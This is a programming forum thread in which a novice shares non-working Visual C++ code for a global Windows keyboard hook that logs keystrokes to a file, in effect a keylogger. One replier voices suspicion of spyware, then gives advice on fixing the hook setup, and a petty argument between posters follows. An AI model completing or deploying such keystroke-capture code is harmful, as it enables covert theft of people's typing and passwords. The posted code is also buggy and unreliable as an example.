Thread: Global Keyboard Hook not working

I have been trying to make Global Keyboard hook program in visual C++ that writes keystrokes to a file "log.txt"..I am new to windows programming and i have gone through the msdn library to get an understanding of hooks....I think i have understood the concept theoretically but when i implement the code, it doesn't seem towork..The compiler doesn't show any error in both the DLL file and EXE file....Moreover the text file "log.txt" never gets created...
Here are the code files

First the DLL file

Code:

#include<windows.h>
#include<stdio.h>

HHOOK g_hhk;

__declspec(dllexport) LRESULT CALLBACK KeyProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	if(nCode>=0)
	{
		char ch;
		FILE *fp;
		fp=fopen("log.txt","a");
	if((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
	{
	if(wParam==VK_RETURN)
		ch='\n';
		fwrite(&ch,1,1,fp);
	}
	else
	{
		BYTE ks[256];
		GetKeyboardState(ks);

		WORD w;

		UINT scan;

		scan=0;

		ToAscii(wParam,scan,ks,&w,0);

		ch =char(w);

        fwrite(&ch,1,1,fp);  // copy character to log file
	}
	fclose(fp);
	}
return CallNextHookEx(g_hhk, nCode, wParam, lParam);
}

----Now the EXE file:

Code:

#include<windows.h>

HOOKPROC hkprckb;
static HINSTANCE hinstDLL; 
static HHOOK hhookkb;

int WINAPI WinMain(HINSTANCE hInstance1,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
	hinstDLL=LoadLibrary(TEXT("C:\\Documents and Settings\\Attar Singh\\My Documents\\Visual Studio 2008\\Projects\\key\\Debug\\key.dll"));
	hkprckb=(HOOKPROC)GetProcAddress(hinstDLL,"KeyProc");
	hhookkb=SetWindowsHookEx( 
                    WH_KEYBOARD_LL,
                    hkprckb,
                    hinstDLL,
                    0); 


	//UnhookWindowsHookEx(hhookkb);
	MessageBox(NULL,NULL,NULL,MB_OK);
	return 1;
}

This program is giving me nightmares...Any sort of help will be greatly appreciated...thanks in advance...!!

So ... you're writing a key logger?

Excuse me but this is bordering on helping you write a trojan/spyware...
You may protest best intentions but this board does have policies about this kind of thing...

Taking the plunge... You have to set the hook from the DLL, i.e. the SetWindowsHookEx call needs to be in the DLL ... and your DLL main is absent... When you load a DLL the LoadLibrary() call executes DLL Main... with a "reason" code... you must respond to this code or the DLL simply loads and then immediately unloads and LoadLibrary() will report an error. So you need to check the return value of LoadLibrary() before proceeding...

Others will tell you ways to cheat on the process and claim that the SetWindowsHook() call does not need to be in a DLL... I have experimented with this and found it to be unreliable, so use your best judgement...

Also, you should search this forum for other similar threads...

Originally Posted by adeyblue

I find it funny you think Microsoft wrote hook code twice. One that works perfect if you use a dll and one which is intentionally flaky just to teach those who read the documentation better than you initially did.

Oh for crying out loud... WILL YOU PLEASE GROW UP!

I said no such thing and implied no such thing...

You do not get to make stuff up just so you can be angry with me about it.